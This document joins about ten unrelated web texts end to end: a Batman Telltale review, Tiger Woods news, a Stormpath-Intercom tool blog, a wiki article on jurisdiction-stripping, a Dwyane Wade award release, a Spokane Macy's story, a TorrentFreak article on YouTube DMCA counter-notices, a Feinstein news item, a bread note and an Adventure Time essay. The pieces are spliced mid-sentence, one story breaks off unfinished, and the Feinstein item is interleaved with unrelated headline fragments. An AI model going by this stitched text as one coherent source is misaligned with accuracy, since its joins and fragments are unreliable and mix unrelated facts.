Batman - The Telltale Series sees you assuming the role of Bruce Wayne as you campaign to get Harvey Dent elected as the mayor of Gotham, and maintain your image as the prodigal son of the millionaires Thomas and Martha Wayne. If you've seen Christopher Nolan's Dark Knight trilogy, or rather any other form of media based on the character, you already know Bruce's background.
But knowing Bruce's history isn't as cool as actually living it, which is exactly what Telltale makes you do throughout the course of its game. As Bruce Wayne, you have to make critical decisions that may impact Harvey Dent's chances of becoming the mayor, or more interestingly, your own public image. Each decision carries weight, whether you choose to pick a fight with Gotham's mob boss, your old friend, or even Dent himself, among numerous other personalities.
As Batman, the story is much more straightforward. Your objective is to take down a criminal organization "The Children of Arkham" that's terrorizing the city of Gotham in various unforeseen ways. After donning Batman's cowl, you'll have the opportunity to do practically everything that you've ever seen or heard the superhero do in the comics or movies. You can pick fist-fights with criminals, take them down stealthily, glide in the air, utilize your arsenal of gadgets, and terrorize the bad guys of Gotham, in general.
Sounds pretty exciting, right? Not even close. That's standard Batman stuff that you've probably already done in Arkham games - if you've played them, that is. The area where Telltale really shines is when you get to play as Bruce Wayne without the cowl. Trust me, it's pretty hard to resist the urge to punch Oswald Cobblepot (The Penguin) right in the face when he's talking about your parents, or to talk to the crime-lord Carmine Falcone with humility and decency. And there's the best part of the game; you don't have to. You can choose to punch Cobblepot in the face and even refuse to shake hands with Falcone, should you feel like it. And each choice has consequences, one wrong move could result in the drastic decline in your relationship with other characters.
But that's not to say that playing as Batman isn't fun, by any means. It's thrilling to don the cowl of the Caped Crusader and take down the bad guys in Gotham. The main villain of the series is a particularly formidable foe, both in terms of gravitas as well as combat capabilities. As you might have noticed, I haven't talked about the villain much, and that's because too much information could spoil the identity of the villain. Let's just settle on the fact that it's a worthy one.
And talking about characters, there are many familiar faces that you'll see throughout the series. Some of these have made appearances in the movies, but many are from comics. The main cast includes Batman himself, Alfred, Harvey Dent, Commissioner Gordon, Selina Kyle, Vicki Vale, Oswald Cobblepot, Lucius Fox, Renee Montoya, Mayor Hamilton Hill, and yes... the Joker.
You read that right. Telltale Games has unexpectedly incorporated a version of Joker in its Batman series, and while it understandably doesn't match the rather high standards set by Heath Ledger, Mark Hamill, and Jack Nicholson (whose performances I rate equally), it comes very close. The character packs the same chaotic punch and insane personality that is loyal to the source material, and even features an appearance very similar to the one depicted in The Killing Joke. Suffice it to say that Telltale's take on the Joker is vastly superior to what I consider to be a disastrous performance by Jared Leto in the equally disappointing Suicide Squad. I know it might seem unfair to compare a live-action version of the popular character with a voice actor, but I feel that if we just compare who embodied the character of the Joker in spirit, the latter takes the win.
Gameplay
If you've played Telltale's games before, you're probably already familiar with the gameplay format employed by the developer. If not, here's a quick recap: you usually have a fixed time to make a decision, your decision might save someone's life or it may result in its untimely end. And trust me, it's extremely difficult to choose an optimal option in this game. Many choices result in gut-wrenching consequences that may leave you scarred for quite some time.
The title also features Telltale's signature Quick-time-events that require you to press a combination of buttons to perform an action, usually a combat move or interaction with your gadgets. Action sequences are thrilling and it's particularly satisfying to land punches correctly or accurately throw your trusty batarang at its target.
Players can also interact with their environment, pick up things and examine them, and so on. But what I found very pleasant was the fact that Telltale had incorporated proper detective-based sequences as well. There are some missions in which you have to find clues at crime scenes and try to link them together in order to determine what happened at the particular scene. While these sequences are understandably lengthier than the rest - depending on how long it takes you to find all pieces of evidence - but at the end, it's very satisfying to completely understand what happened at a scene of crime, which is then expertly illustrated in stop-motion illustrations as well.
Another profound aspect of the game was the ability to choose between visiting a scene as Bruce Wayne or as Batman. This is a very interesting technique that wants you to weigh the consequences of the manner of your appearance before you take the plunge. And trust me, it's very difficult deciding between visiting Carmine Falcone as an angry Bruce Wayne or as a threatening Batman.
And I don't think can I emphasize this enough, but each choice matters. There are consequences to almost every decision you make. There will be numerous instances when you'll be torn between saving one character or another, and there will probably be plenty of decisions that you'll regret. But that's all part of the fun of Batman - The Telltale Series.
Presentation
As you might have read on Steam, various websites, and publications already, this game seriously lacked graphical optimizations and stability when it launched. And were I to review it a month ago, I would have probably taken a couple of points off of it in my final rating. However, the game has fortunately been updated quite a few times in the past couple of weeks, and each update has fixed the lag and graphical hitches in the otherwise almost flawless game.
That said, some minor bugs do appear from time to time, I've noticed a recurring newscaster's head to hilariously disappear while he's reporting, but the issues aren't as serious or game-breaking as they were before. Now, I feel confident in recommending the game to others as almost all major issues have been fixed, and the game runs much better on PCs.
In terms of character and environment design, you'll notice Telltale's signature simplistic art style. However, I do feel that the expressions now seem a lot more believable and realistic. The surroundings are well-detailed and most characters are very similar to their counterparts in the source material from which they've been adapted.
I also liked how the story was presented. It's dark, gritty, and multi-layered, and you won't be able to figure out the overarching storyline from the start. It's very well thought out, so much so, that I can guarantee that you won't be able to immediately figure out who the main villain is - contrary to most other games.
To my credit, I read almost six hundred Batman comic issues around five years ago, I've seen Nolan's Dark Knight trilogy numerous times, I've seen some animated DC films, and I've watched some episodes of the animated series based on the Caped Crusader, but I honestly haven't seen a story like the one presented in Batman - The Telltale Series.
That said, I obviously haven't read all of Batman's source material nor can I claim to have watched every possible presentation of Batman in other forms of media; it's possible that the storyline of the game bears resemblance to some other take on Gotham's Dark Knight, but I'll leave that for more well-versed readers to decide.
Last but not least, the game features an extremely talented voice acting cast that truly brings the characters to life. Nearly all characters are exactly how I imagined them to sound like when I read the comics all those years ago, most notably Troy Baker in the role of Bruce Wayne, Travis Willingham as Harvey Dent, Enn Reitel as Alfred Pennyworth, Murphy Guyer as James Gordon, Richard McGonagal as Carmine Falcone, and Laura Bailey as Selina Kyle. Unlike many other games, voice acting isn't a let-down in Batman - The Telltale Series and the stellar cast truly accomplish the task set before them with finesse, accounting for a very intense and engrossing gaming experience.
Final Take
Batman - The Telltale Series is a love-letter to fans of Gotham's Caped Crusader. It promises an exciting premise, allows you to play as both the titular superhero as well as Bruce Wayne, and features a truly remarkable and intense story. The star-studded voice acting cast brings the fictional characters to life and the choices are extremely difficult to make.
The first season of the series packs in five episodes, all of which are available in the Windows 10 Store, Steam, Xbox 360, Xbox One, PlayStation 3, PlayStation 4, Android, and iOS - with the first episode of the series currently free on some of the aforementioned platforms. Each episode takes roughly two hours to complete but since the replay value is quite decent as well, you can expect to complete the game in its entirety in around 12-13 hours, which is pretty much standard for every Telltale title.
All in all, I found Batman - The Telltale Series to be an exceptional game with plenty of plot twists that kept me guessing throughout the gripping storyline. It allowed me to truly understand the motivation of Gotham's Dark Knight as well as the complexities revolving his character. Batman is a character that has been developed over a period of roughly 75 years and Telltale's endeavor does it justice. I would have no hesitation naming Batman - The Telltale Series as my Game of the Year.
Batman - The Telltale Series was reviewed via a copy purchased from the Windows 10 Store by the reviewer himself. The game was tested on a Dell Inspiron 15-5558 with the following specifications:Former world No.1 Tiger Woods will try his best to win his first championship in more than 40 months at Torrey Pines. In the past, Woods has triumphed a record eight times at Pines.
Woods hasn’t won a title since the 2013 World Golf Championships-Bridgestone Invitational. He will make his 2017 debut at the Farmers Insurance Open on January 26-29 at Torrey Pines Golf Course, San Diego. Tiger, who proclaimed the commitment to play Wednesday, moreover, bagged the Farmers in 1999, 2003, 2005-08 and 2013.
In addition, he had won his last major at Torrey Pines in the 2008 U.S. Open against Rocco Mediate in a 19-hole playoff.
Eye of the Tiger
Woods held the world No. 1 tag for a record 683 weeks, who is now ranked No. 652.
Due to periodic back problems, Woods had two back-to-back surgeries in the fall of 2015. Woods hasn’t played on the PGA Tour after finishing in a tie for 10th at the Wyndham Championship 2015.
The winner of 79 Tour titles and 14 majors made his much-awaited comeback to competitive golf in December at the Hero World Challenge at Albany Golf Club, Bahamas. Although Woods finished 15th in the field of 18, he and champion Hideki Matsuyama did top the field in birdies with each making 24.
Woods also announced Wednesday he would take part in the Honda Classic. The event will be held at PGA National in Palm Beach Gardens, Florida on Feb. 23-26. That will make a back-to-back coast-to-coast two weeks for Woods. As Woods previously reported he would play in the Genesis Open at Riviera Country Club in Pacific Palisades, California, on Feb. 16-19.We work with a lot of Startups SaaS companies, and they consistently run into a few challenges when it comes to managing their growing customer base:
Its hard to know who your users are
Its not always clear how they interact with your product
For them to get the most value and have the best experience, they need meaningful communication from your company.
There are no two tools better suited to manage the overall experience of your customers than Stormpath and Intercom. A mutual customer recently brought us a challenge – can we make it easy for Stormpath to integrate to Intercom?
Our new syncing tool, stormpath-intercom makes it incredibly easy to integrate both into any Node.js or Express app. The integration will automatically populate your Intercom setup with user data from Stormpath.
Intercom: Smart Customer Communication
Intercom is a lightweight, slick CRM system that allows you to:
Store up-to-date information on your users via their simple REST API.
Automatically pull down a user’s avatar and company information.
Schedule emails to users when certain events happen (e.g. 3 days after signup).
Easily add user messaging and chat to your website so users can connect with you where they are?
And lots more.
At a previous company, we massively increased user conversion — as well as proactively solve support issues, by heavily leveraging Intercom’s user segmenting and emailing features:
Intercom fired off an email to new users, welcoming them to the platform, and giving them relevant links to get started.
Intercom sent another email after a user made their first API call to our service, thanking them and giving them more useful information.
We’d also have Intercom fire off another email depending on what user-agent they made API requests with, sending them language-specific help documentation, etc.
Overall, this greatly increased the number of happy users, reduced support cases, and improved the quality of our customer communication.
Store User Data in Stormpath
Unfortunately, while Intercom is amazingly useful — it’s only useful if it’s got access to all of your user’s data!
Let’s say you want to email all users who have made requests to your API service using the Ruby programming language, for instance. This could be a really great way to target your users with context relevant information!
But — there’s no way to do this without first loading this data into Intercom.
This is where stormpath-intercom comes into play.
If you’re storing your user accounts and securing your web applications with Stormpath, our stormpath-intercom tool will automatically sync all of your Stormpath user data with Intercom.
You’ll always have an up-to-date Intercom database, complete with any custom data from Stormpath to assist in segmenting and interacting with your users.
How Stormpath-Intercom Works
Here’s how it works.
First, you need to have Node.js installed and working on your computer (or server).
Once that’s done, you’ll need to install the stormpath-intercom tool by running:
$ npm install -g stormpath-intercom 1 2 $ npm install - g stormpath - intercom
The above command will download and install our syncing tool.
Lastly, you need to run the tool (passing in your Stormpath and Intercom API keys) — this will initiate the synchronization for you. Here’s an example:
$ stormpath-intercom \ --stormpath-api-key-id=xxx \ --stormpath-api-key-secret=xxx \ --stormpath-app-name=myapp \ --intercom-app-id=xxx \ --intercom-api-key=xxx 1 2 3 4 5 6 7 $ stormpath - intercom \ -- stormpath - api - key - id = xxx \ -- stormpath - api - key - secret = xxx \ -- stormpath - app - name = myapp \ -- intercom - app - id = xxx \ -- intercom - api - key = xxx
We recommend you run this tool every hour using a system like cron. This way, your Intercom database will be at most 1 hour behind.
Learn More
If you’re looking to build an incredibly awesome web company, and aren’t yet using either Intercom or Stormpath, you should get started right now!
Got any other questions? Feel free to email us! =)In the United States, jurisdiction-stripping (also called court-stripping or curtailment-of-jurisdiction), is the limiting or reducing of a court's jurisdiction by Congress through its constitutional authority to determine the jurisdiction of federal and state courts.
Basis [ edit ]
Congress may define the jurisdiction of the judiciary through the simultaneous use of two powers.[1] First, Congress holds the power to create (and, implicitly, to define the jurisdiction of) federal courts inferior to the Supreme Court (i.e. Courts of Appeals, District Courts, and various other Article I and Article III tribunals). This court-creating power is granted both in the congressional powers clause (Art. I, § 8, Cl. 9) and in the judicial vesting clause (Art. III, § 1). Second, Congress has the power to make exceptions to and regulations of the appellate jurisdiction of the Supreme Court. This court-limiting power is granted in the Exceptions Clause (Art. III, § 2). By exercising these powers in concert, Congress may effectively eliminate any judicial review of certain federal legislative or executive actions and of certain state actions, or alternatively transfer the judicial review responsibility to state courts by "knocking [federal courts]... out of the game."[1]
Alexander Hamilton had this to say about the issue in The Federalist:
From this review of the particular powers of the federal judiciary, as marked out in the Constitution, it appears that they are all conformable to the principles which ought to have governed the structure of that department, and which were necessary to the perfection of the system. If some partial inconveniences should appear to be connected with the incorporation of any of them into the plan, it ought to be recollected that the national legislature will have ample authority to make such exceptions, and to prescribe such regulations as will be calculated to obviate or remove these inconveniences.[2]
Transfer of authority to state judiciaries [ edit ]
Framers of the Constitution, such as Roger Sherman of Connecticut, did not envision jurisdiction stripping as invariably insulating a law from judicial review, and instead foresaw that state judiciaries could determine compatibility of certain types of state statutes with federal laws and the federal Constitution. In 1788, Sherman publicly explained that,
It was thought necessary in order to carry into effect the laws of the Union, to promote justice, and preserve harmony among the states, to extend the judicial powers of the United States to the enumerated cases, under such regulations and with such exceptions as shall be provided by law, which will doubtless reduce them to cases of such magnitude and importance as cannot be safely trusted to the final decisions of the courts of particular states; and the constitution does not make it necessary that any inferior tribunals should be instituted, but it may be done if found necessary; 'tis probable that courts of particular states will be authorized by the laws of the union, as has heretofore been done in cases of piracy, &c....[3]
Thus, there are two kinds of jurisdiction-stripping: one which changes the court that will hear the case (as Sherman envisioned), versus one which essentially insulates statutes from judicial review altogether. Jurisdiction-stripping statutes usually take away no substantive rights but rather change the court that will hear the case.[4]
Congress has sometimes limited federal involvement in state cases, for example by setting a minimum amount in controversy in order to bar the lower federal courts from hearing diversity cases that involve less than that amount (currently $75,000), combined with precluding a right to appeal to the Supreme Court.[5][6] Likewise, Congress has never required that state court cases involving federal questions be removed or appealed to federal court, and so the federal courts are unable to exercise power in many of those cases.[7]
Limits [ edit ]
Congress may not strip the U.S. Supreme Court of jurisdiction over those cases that fall under the Court's original jurisdiction defined in the U.S. Constitution. Congress can limit only the appellate jurisdiction of the Court.[8] According to the Constitution, the Supreme Court has original jurisdiction in, "all Cases affecting Ambassadors, other public Ministers and Consuls, and those in which a State shall be Party.... " This last state-shall-be-a-party language does not mean that the U.S. Supreme Court has original jurisdiction merely because a state is a plaintiff or defendant, even if a provision of the U.S. Constitution is at issue. Instead, the controversy must be between two or more states, or between a state and citizens of another state, or between a state and foreigners.[9][10] Additionally, in 1892, the Court decided that it has original jurisdiction in cases between a state and the United States.[11]
Story's theory [ edit ]
Justice Joseph Story, in his opinion in Martin v. Hunter's Lessee and in his other writings, wrote extensively about how Congress should ensure that the judicial power is properly vested in the federal courts. Professor Akhil Amar credits Story with the theory that Congress may not concurrently remove the jurisdiction of inferior courts and the appellate jurisdiction of the Supreme Court over certain categories of claims, as doing so would violate the Constitution's mandatory grant of jurisdiction over such claims to the judiciary as a whole. [12] Story wrote in Martin v. Hunter's Lessee:
The judicial power shall extend to all the cases enumerated in the constitution. As the mode is not limited, it may extend to all such cases, in any form, in which judicial power may be exercised. It may, therefore, extend to them in the shape of original or appellate jurisdiction, or both; for there is nothing in the nature of the cases which binds to the exercise of the one in preference to the other.
According to Amar, Story's exposition of federal court jurisdiction "has generated considerable confusion" and furthermore, as Amar understands Story's theory, it "simply cannot be right".[12] Professor Henry M. Hart instead argued that Congress may strip the power of the federal judiciary to hear certain classes of cases.[13][14] Hart wrote: "In the scheme of the Constitution [state courts] are the primary guarantors of constitutional rights, and in many cases they may be the ultimate ones."
Calabresi's theory [ edit ]
In 2007, law professors Steven Calabresi and Gary Lawson opined that Congress can strip the U.S. Supreme Court of appellate jurisdiction only to the extent that Congress expands the Court's original jurisdiction.[15] Calabresi and Lawson acknowledged that their theory contradicts the holding of Marbury v. Madison, according to which the Constitution's description of the Court's original jurisdiction is exhaustive.
According to Calabresi and Lawson, Congress has no ability to alter or make exceptions to the judicial power of the United States, or to do anything less than bring the full judicial power into execution. The Calabresi theory finds support in a 2010 article by Washburn University Law Professor Alex Glashausser.[16] On the other hand, Judge William A. Fletcher wrote an article in 2010 taking the opposite point of view.[17]
Related issues [ edit ]
Generally speaking, the word "power" is not necessarily synonymous with the word "jurisdiction".[18] For instance, courts will often assert a modest degree of power over a case for purposes of determining whether it has jurisdiction, or for purposes of receiving jurisdiction.[19]
The Constitution vests the judicial power "in one supreme Court, and in such inferior courts as the Congress may from time to time establish" (emphasis added). Scholars have debated whether the word "in" means that the entire judicial power is vested in the Supreme Court and is also vested entirely in the inferior courts; that possibility has implications for what the vesting of such power means.[20][21]
Other relevant Supreme Court cases [ edit ]
During Reconstruction, Congress withdrew jurisdiction from a case the U.S. Supreme Court was then in the process of adjudicating. In terminating the case Ex Parte McCardle, 74 US 506 (1869), the Justices acknowledged the authority of Congress to intervene.
We are not at liberty to inquire into the motives of the legislature. We can only examine into its power under the Constitution; and the power to make exceptions to the appellate jurisdiction of this court is given by express words.... It is quite clear, therefore, that this court cannot proceed to pronounce judgment in this case, for it has no longer jurisdiction of the appeal; and judicial duty is not less fitly performed by declining ungranted jurisdiction than in exercising firmly that which the Constitution and the laws confer.[22]
In 1882, the Supreme Court again conceded that its own "actual jurisdiction is confined within such limits as Congress sees fit to describe."[23]
In 1948, Supreme Court Justice Felix Frankfurter conceded in a dissenting opinion that "Congress need not give this Court any appellate power; it may withdraw appellate jurisdiction once conferred."[24]
Further federal statutes [ edit ]
More recent examples of jurisdiction stripping include the following:
There have also been hundreds of unsuccessful bills in Congress to strip federal courts of jurisdiction.[26][27]
See also [ edit ]— Miami Heat guard Dwyane Wade is the recipient of the "2012-13 Seasonlong Kia Community Assist Award" in recognition of his outstanding efforts in the community and his ongoing philanthropic and charitable work, the NBA announced today. The award recognizes the NBA player who best reflects the passion that the league and its players have for giving back to their communities. This year marked the first time that fans helped to select the winner.
This season, Wade and his Wade's World Foundation provided an assist to a number of non-profit organizations, including the Make-A-Wish Foundation. Founded in 2003, Wade's World Foundation supports literacy, health, and fatherhood primarily in underserved communities throughout Chicago, Milwaukee, and South Florida. The nine-time NBA All-Star continues to be an active voice in the promotion of fatherhood and family, this season joining best-selling author James Patterson for a national online webcast to promote literacy among young people across the country.
"I am so honored the fans have selected me to receive this year's Seasonlong Kia Community Assist Award," said Wade. "Community has always been very important to me, and I am grateful to have the opportunity through Wade's World Foundation to give back in any way that I can."
Wade was selected as the "2012-13 Seasonlong Kia Community Assist Award" winner by fans and a distinguished panel of NBA judges, including past J. Walter Kennedy Citizenship Award winners and NBA Legends Bob Lanier and Dikembe Mutombo. Fan voting took place on a dedicated tab on the NBA Facebook page.
Prior to tomorrow night's home game against the Indiana Pacers, NBA Cares Ambassador Bob Lanier and a Kia representative will present Wade with the "2012-13 Seasonlong Kia Community Assist Award." Wade will receive the David Robinson Plaque bearing the inscription, "Following the standard set by NBA Legend David Robinson who improved the community piece by piece." In addition, Kia and the NBA will donate $25,000 on Wade's behalf to Wade's World Foundation.
Kia Motors has been an NBA Cares partner since 2010. In addition to the "Seasonlong Kia Community Assist Award," the league presents the "Kia Community Assist Award" monthly throughout the season to recognize players for their charitable efforts.click to enlarge Young Kwak
Ben Stuckart at the soon-to-be-former site of Macy's in downtown Spokane.
Like plenty of people in Spokane, Ben Stuckart has a shopping list for what he'd like to see in the 11-story downtown Macy's building after the struggling retailer vacates it.
He'd love to see a downtown grocery store or an urban Target. And — this is the crucial part — he'd love to see the top floors become housing. Standing on the east side of the building, he looks up at the dingy windows on Macy's upper half, used by the department store for little more than storage.
"Think about it: apartments or condos above retail would be perfect," Stuckart says. "I'd like young professionals in our community to have somewhere to live downtown." Nothing too cheap or too expensive — something priced in the just-right middle.
As council president, Stuckart can actually do something about making that vision happen. Last week, he says, he met with the mayor to begin initial discussions over the role city government should play in Macy's and similar properties.
For city leaders, the vacancy of a big company like Macy's is an opportunity and a conundrum: Do they sit back and let the invisible hand of the market pick the building's new tenants, and hope the result is what's best for the city? Or do they get aggressive, dangling incentives to potential buyers in an attempt to guide the market to a desired result?
Either way, it's a question the city has to answer quickly.
"I know Macy's is trying to move on this property by March," Stuckart says. "That gives us incentive to move fast."
Filling the vacuum
Two decades ago, just the possibility of a major department store leaving downtown was enough to inspire drastic measures. When Nordstrom threatened to leave River Park Square, the city's fight to save it resulted in a disastrous public-private partnership that influenced the fate of three mayoral elections, damaged the city's bond rating and left the city paying off millions of dollars a year.
It also may have ultimately ushered in the revitalization of downtown.
"I think you could very easily argue it did save downtown," says Mark Richard, president of the Downtown Spokane Partnership — an organization created partly as a result of the fight to save Nordstrom.
This time, as Macy's vacates its property, it's not a moment of crisis. The urban core has a huge demand for retail and — especially — downtown housing. It's an environment where River Park Square recently kicked out Ann Taylor Loft, not because it wasn't paying its lease, but because the mall spot was in such demand that something more valuable could go in its place.
"It's not a matter of if. It's a matter of when," Richard says about finding Macy's replacement. "I don't think we could have said that back in the '90s."
The Stuckart vision
With urban development carrying a bigger price tag than suburban sprawl, it's typical for developers to rely on a stew of different incentives when building something downtown. In that fact, Stuckart sees an opportunity.
Last year, hotel magnate Walt Worthy came asking for $318,000, payment for environmental remediation he said the Condon administration had promised him while developing the Davenport Grand Hotel. The city council publicly cried foul, insisting they'd never agreed to the incentive, and refused to pay it.
Beyond a communication failure, to Stuckart it represents a blown chance to influence the hotel's development. For example, he says, the city could have pushed for more retail on its ground floor.
"Couldn't we have, at that point, said, 'We'll pay for environmental remediation — which is considered a public good — if you do X, Y, Z?'" Stuckart says. In other words, instead of using restrictive zoning or other regulations to encourage certain developments, use incentives. Carrots, rather than sticks.
Partly as a response to the ongoing debate over Grand Hotel incentives, the city launched its "incentives matrix" last fall. Essentially, it's a menu of goodies — including multifamily housing tax credits, a historic preservation tax exemption and utility improvements — that developers might be eligible for. Stuckart wants to expand that list of incentives. For certain properties, he suggests adding something a little extra to encourage specific types of development.
In particular, one tool immediately comes to mind: a tax increment financing (TIF) district.
Normally, when a business improves a property, the increase in property taxes means a boost for city coffers. With a TIF, the city estimates how much the development
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thousands of occasions the original notices are flawed, targeting incorrect or non-infringing ‘fair use’ content.
In these instances someone targeted by a wrongful DMCA takedown is usually given the chance to file a counter-claim stating why content should not have been removed. Content then has the opportunity to be reinstated or removed if the dispute cannot be settled.
While counter-claims provide a balance to a DMCA complaint, there is evidence to suggest that YouTube, one of the biggest receivers of copyright notices online, is in some cases disallowing them.
When a video is uploaded to YouTube it’s put through the company’s Content ID system and compared against digital fingerprints provided by copyright holders to check for infringement. YouTube user John McKelvey has discovered that if you fall foul of signatures provided by certain rightsholders then your content gets taken down – and remains down – even if no copyrights have been infringed.
Here’s what happened. McKelvey has been publishing an ongoing series of hip hop history videos, each taking a look at classic, rare or overlooked records. One featuring Eric B. & Rakim caused the latest issues.
Fair Use
“This video, like all my other videos in the same vein, are Fair Use in a number of ways at the same time,” McKelvey told TorrentFreak.
“First of all, I only play a short portion of the songs (in this video, I play clips of three songs, though UMG’s claim was only against one of them), within the context of a scholarly, critical review of the record. The video is non-commercial/non-profit; I didn’t even have YouTube ads on the video.”
Furthermore, McKelvey has gone to some length to ensure that his videos feature only incomplete clips, all of them deliberately recorded at below MP3 quality so no one will be inclined to rip them. At every available opportunity he encourages people to buy content and refuses to upload MP3s, even though he says viewers are constantly asking him to.
Unfortunately Content ID doesn’t understand the concept of fair use (or being ‘fair’ in general) and when the system scanned a video of McKelvey chatting about an old Eric B. & Rakim vinyl it was flagged up as infringing and disabled.
McKelvey sent TorrentFreak copies of his correspondence with YouTube as he tried to get his video back online. The responses from YouTube highlight a worrying development, one which means that certain labels are ALWAYS right in copyright disputes, even when they’re wrong.
Text of counter notice filed by McKelvey
My video is NOT a competitor to sales of the [Eric B. & Rakim] song. It directly encourages viewers to buy it for themselves. Anyone seeking a pirate copy would in no way be happy with my video as a substitute.
YouTube email to Universal advising of McKelvey’s counter-notice
We received the attached counter notification in response to a complaint you filed with us. We’re providing you with the counter notification and await your notice (in not more than 10 business days) that you’ve filed an action seeking a court order to restrain the counter notifier’s allegedly infringing activity. Such notice should be submitted by replying to this email. If we don’t receive notice from you, we may reinstate the material to YouTube.
YouTube mail to McKelvey 11 days after filing of counter-notice
Thank you for your counter-notification. The complainant has reaffirmed the information in its DMCA notification.
YouTube has a contractual obligation to this specific copyright owner that prevents us from reinstating videos in such circumstances. Therefore, we regretfully cannot honor this counter-notification.
——————
McKelvey was then invited to sort the matter out with Universal directly via the [email protected] email address and was pointed to this page as explanation. It appears to have been published or updated April 2 and contains the following text:
YouTube enters into agreements with certain music copyright owners to allow use of their sound recordings and musical compositions. In exchange for this, some of these music copyright owners require us to handle videos containing their sound recordings and/or musical works in ways that differ from the usual processes on YouTube.
In some instances, this may mean the Content ID appeals and/or counter notification processes will not be available.
——————
No right to reply
So, it seems that where YouTube has a record label deal (and that could be any label, no list is provided), those labels are allowed to take down any content they like for any reason they like – infringing or not – and YouTube will block its users from having the right to reply.
As noted by FairUseTube, while YouTube has a legal obligation to remove allegedly infringing content on request the same cannot be said for accepting counter-notices or reinstating content. Nevertheless, the one-sided nature of the process is bound to increase frictions between those defending right to fair use and those who feel rightsholders are constantly eroding it.
“I was shocked when the reply came in saying how it didn’t matter if my video was Fair Use or not, because they had some secret contract with the labels and were refusing to honor my counter-notice anyway,” McKelvey says.
“It was very frustrating, because it showed me that it no longer mattered whether I had a legal right to post my videos. At least in this case, YouTube has stopped siding with the users because they’ve apparently been bought off by UMG. It’s also frustrating because this new policy was not disclosed to us, so we’re set up to file useless counter-notices only to have them work against our channels,” he concludes.
While YouTube now openly admits having preferential deals with labels, that hasn’t always been the case. In December 2011 the Google-owned company initially allowed Universal to blatantly censor Kim Dotcom’s ‘Mega Song’. It was later reinstated.
The “infringing” video (on Dailymotion)
Check out John McKelvey’s hip hop blog here.Sen. Dianne Feinstein Dianne Emiel FeinsteinHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Ocasio-Cortez adviser says Sunrise confrontation with 'old-timer' Feinstein'sad' Key senators say administration should ban Huawei tech in US electric grid MORE (D-Calif.) said Thursday she isn't concerned about Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE Jr. and Paul Manafort agreeing to testify before a Senate panel, because if they don't "they'll be subpoenaed."
"Am I concerned? No, I'm not concerned, because if they don't they'll be subpoenaed," Feinstein, the top Democrat on the Senate Judiciary Committee, told reporters.
Feinstein: If Don Jr. and Manafort don’t accept invitation to testify, “they’ll be subpoenaed” (via @GarrettHaake) pic.twitter.com/hoZK2Y4PiN — Bradd Jaffy (@BraddJaffy) July 20, 2017
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Feinstein would need Judiciary Committee Chairman Chuck Grassley Charles (Chuck) Ernest GrassleyOvernight Health Care: Drug execs set for grilling | Washington state to sue over Trump rule targeting Planned Parenthood | Wyoming moves closer to Medicaid work requirements Senate reignites blue slip war over Trump court picks Lower refunds amplify calls to restore key tax deduction MORE (R-Iowa) to support a subpoena. The two senators have said for weeks that they would be willing to subpoena Trump Jr. and Manafort if they declined to voluntarily testify before the panel.
The Democratic senator's comments came a day after the Judiciary committee scheduled a hearing for next Wednesday with Trump Jr. and Manafort, Trump's former campaign chairman.
The hearing is purportedly to conduct oversight of the Foreign Agents Registration Act and "attempts to influence U.S. elections," the committee said Wednesday.
Lawmakers have been pushing to hear from the pair following heightened scrutiny over a June 2016 meeting Trump Jr. attended with a Russian lawyer in an effort to get damaging information on his father's Democratic presidential rival Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE. Manafort also attended the meeting.
"Chairman Grassley and Ranking Member Feinstein have agreed to issue subpoenas, if necessary... to secure their testimony," the committee said in a statement Wednesday, announcing it had asked Trump Jr. and Manafort to preserve campaign-related documents for the panel.Bread Making Demonstration:
Bread Using a Starter
Ciabatta Ciabatta is typically identified by its shape, which is that of a worn or flattened slipper, and thus the meaning of the word "ciabatta" in Italian. The bread features a crisp crust surrounding an interior that has a soft texture and an open crumb with a flavor that is slightly sweet/sour. The bread requires the preparation of a starter, which must be allowed to rise overnight. The remaining ingredients are then mixed with the starter and allowed to rise for several more hours. The bread has a high liquid content that makes the dough difficult to manage, but is necessary to achieve the correct results. Plain ciabatta is as common in Italian supermarkets as white sandwich bread is in the United States.In the Adventure Time episode “Too Young,” we’re introduced to the Earl of Lemongrab, the extremely selfish, obnoxious and shrill leader of the Earldom of Lemongrab, and the first of Princess Bubblegum’s experiments to go wrong. Lemongrab’s catch phrase is “UNACCEPTABLE!” his delivery of which conveys an immediate understanding of his mentality: everything must go precisely his way, and there is no room for compromise.
Later, in the episode “You Made Me”, when Lemongrab expresses his dissatisfaction at living all by himself in his Earldom, Princess Bubblegum creates a clone of him, Lemongrab 2, using the same candy life formula she used to create her Candy Kingdom citizens. For the Lemongrabs, of course, this is not enough, and they use the formula to create their own lemon citizens to rule over with an unyielding, lemony fist. One of these oppressed citizens is a child named Lemonhope, whose talent at playing the harp has the potential to destroy the Lemongrabs. Finn and Princess Bubblegum, along with revolutionary lemon citizens, eventually help Lemonhope escape from his washroom prison in the Earldom of Lemongrab, and when we meet Lemonhope again, in a very special eponymous two-part episode, it’s clear that Princess Bubblegum has been training Lemongrab to carry out a particular mission: namely, to free the lemon people from Lemongrab’s fortified totalitarian city-state.
The problem is that Lemonhope is not particularly interested in coming to his people’s aid. As The Earl of Lemongrab states in his Soviet-style propaganda/tourism film Hello! And Keep Away from Castle Lemongrab, “Since the expulsion of Lemonhope, we have reached peak societal obediency.”
Princess Bubblegum explains it straight out, “One day, saving those lemons is going to be your responsibility.” To which Lemonhope replies, “I’m not too worried about other people, I guess. Like, I got me, and they got them.”
And this is the way that Adventure Time tackles the really complicated world of foreign policy. In particular, the Earldom of Lemongrab is made to strongly resemble North Korea, with the Candy Kingdom functioning as a stand-in for the United States. In general, the Candy Kingdom is a land of freedom – people are allowed to do more or less whatever they want, as long as they’re not hurting anybody. It’s only when a monster or evil wizard menaces its citizens that its leader, the benevolent Princess Bubblegum, calls in her Banana Guards or the heroes Finn and Jake. Taxes are collected by the Princess herself going around with a bag.
